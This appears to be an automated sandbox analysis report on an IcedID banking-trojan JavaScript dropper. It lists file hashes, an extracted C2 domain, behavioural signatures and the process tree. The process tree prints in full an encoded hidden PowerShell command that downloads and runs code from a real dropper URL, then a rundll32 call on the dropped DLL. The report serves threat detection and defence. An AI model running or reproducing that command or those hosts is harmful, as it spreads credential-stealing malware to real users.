icedid | 25b6e2be767d85f668b15e3acee6076a7e74f12128ec067775c6ec24e0707c4b

General

Target

Unpaid_03_17_Copy#82.js
Size

12KB
MD5

bef0e81b04fdf1c19a5c7fee8e1974e4
SHA1

956020f277d64abfe742ba8687853f6fc5052689
SHA256

f1481a3f86cdaee1e707bb93e26adedf3bb7665ed840431c6c1c473a41e9fa67
SHA512

940d4629db1a91d292c8537cad16b16bc04ac3b2f28f3dcf2eeba7910b22b841d4ec815f66a88c82e9258dff04ea8bcd13626752a063ef313416c0f9a6404d2c
SSDEEP

192:zm0KUNutRNkR3aEfiHEiAuaWF3Kc0medXPcNjPnqUOR6n6m2Kj:z4UNu3NIaXEifRKc08Nj/rjF

Score

10^/10

icedid 946873669 banker loader trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://conalom.top/gatef1.php

Extracted

Family

icedid

Campaign

946873669

C2

umoxlopator.com

Signatures

IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
trojan banker icedid
Blocklisted process makes network request 5 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

4 1164 powershell.exe
5 1164 powershell.exe
7 1324 rundll32.exe
9 1324 rundll32.exe
10 1324 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

1324 rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exerundll32.exe

pid process

1164 powershell.exe
1324 rundll32.exe
1324 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1164 powershell.exe

flow	pid	process
4	1164	powershell.exe
5	1164	powershell.exe
7	1324	rundll32.exe
9	1324	rundll32.exe
10	1324	rundll32.exe

pid	process
1324	rundll32.exe

pid	process
1164	powershell.exe
1324	rundll32.exe
1324	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1164	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

wscript.execmd.exepowershell.exe

description	pid	process	target process
PID 1984 wrote to memory of 1700	1984	wscript.exe	cmd.exe
PID 1984 wrote to memory of 1700	1984	wscript.exe	cmd.exe
PID 1984 wrote to memory of 1700	1984	wscript.exe	cmd.exe
PID 1700 wrote to memory of 1164	1700	cmd.exe	powershell.exe
PID 1700 wrote to memory of 1164	1700	cmd.exe	powershell.exe
PID 1700 wrote to memory of 1164	1700	cmd.exe	powershell.exe
PID 1164 wrote to memory of 1324	1164	powershell.exe	rundll32.exe
PID 1164 wrote to memory of 1324	1164	powershell.exe	rundll32.exe
PID 1164 wrote to memory of 1324	1164	powershell.exe	rundll32.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Unpaid_03_17_Copy#82.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1984

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C powershell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG4AYQBsAG8AbQAuAHQAbwBwAC8AZwBhAHQAZQBmADEALgBwAGgAcAAiACkA
2⤵
- Suspicious use of WriteProcessMemory
PID:1700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYwBvAG4AYQBsAG8AbQAuAHQAbwBwAC8AZwBhAHQAZQBmADEALgBwAGgAcAAiACkA
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1164

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\TSzVUg.dat init
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:1324

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TSzVUg.dat
Filesize
797KB

MD5
b0ad6d2d4c031bdba529c80b9b2957e7

SHA1
153a5ba4665cbcd79afff27d27864f498284d9c0

SHA256
9e66b2a30d5244d1dffb968cc1c67fe705ce208eed450ae81f9f48552187749b

SHA512
f7c48df7b41a2284b959efa1315cc917fa5d36740752d90e8aa87965479961f8da8ed7e3f0cc6a7c7490665fcae017086e32b38f4d54b027f48398ea8bf8682d

Download Submit
\Users\Admin\AppData\Local\Temp\TSzVUg.dat
Filesize
797KB

MD5
b0ad6d2d4c031bdba529c80b9b2957e7

SHA1
153a5ba4665cbcd79afff27d27864f498284d9c0

SHA256
9e66b2a30d5244d1dffb968cc1c67fe705ce208eed450ae81f9f48552187749b

SHA512
f7c48df7b41a2284b959efa1315cc917fa5d36740752d90e8aa87965479961f8da8ed7e3f0cc6a7c7490665fcae017086e32b38f4d54b027f48398ea8bf8682d

Download Submit
memory/1164-59-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/1164-60-0x000000001B220000-0x000000001B502000-memory.dmp

Filesize
2.9MB

Download
memory/1164-61-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/1164-62-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/1164-63-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/1324-67-0x0000000000120000-0x0000000000129000-memory.dmp

Filesize
36KB

Download
memory/1324-74-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/1324-75-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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